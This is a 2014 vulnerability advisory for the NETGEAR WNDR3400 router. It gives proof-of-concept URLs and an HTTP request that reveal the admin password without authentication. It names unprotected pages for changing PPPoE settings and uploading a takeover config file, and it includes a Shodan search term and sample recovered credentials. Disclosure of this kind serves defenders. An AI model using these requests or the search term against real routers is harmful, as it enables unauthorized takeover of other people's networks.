Title: Multiple vulnerabilities in NETGEAR N600 WIRELESS DUAL BAND WNDR3400 ==================================================================================== Notification Date: 4/14/2014 Affected Vendor: NETGEAR N600 WIRELESS DUAL BAND WNDR3400 Firmware Version: Firmware Version 1.0.0.38 AND BELOW (ALL versions affected) Issue Types: password Disclosure File Uploading with AuthPPOPE settings Change Discovered by: Santhosh Kumar twitter: @security_b0x Issue status: No Patch >From the Vendors. grettings: @Anami2111 (anamika singh) -- creator of wihawk ==================================================================================== Summary: ======== While i was lurking around the Netgear firmware today i came across various tweaking and others i was able to find a password disclosure,File uploading vulnerably which could compromise the entire router.as of now no patch from the vendor. Password Disclosure: ==================== url: server/unauth.cgi?id=393087602 Generating with the 401 unauthorised error poc: Host: server:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://server:8080/ Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0

Router Password Recovered

\ poc2: server:8080/passwordrecovered.cgi?id=1738955828 ============================================================================================================================== Ppope account reset: Netgear runs a utility called "netgear genie" which does not have proper authentication on reaching "genie_pppoe.htm " which allows to reset the ppoe username which any basic authentication. http://server/genie_pppoe.htm ============================================================================================================================== File Upload (router reset): like the same one above the "http://server/genie_restore.htm" the config file can be uploaded which leading to reseting the control to attackers username and password. *.cfg file. ============================================================================================================================== SHODAN DORK: wndr3400: 10198 for wndr3400 ******************************************************************************************************************************

You have successfully recovered the admin password.
Router Admin Username	admin
Router Admin Password	password
You have successfully recovered the admin password.
Router Admin Username	admin
Router Admin Password	0514
You can now log in to the router using username "admin" and this recovered password.

Query Builder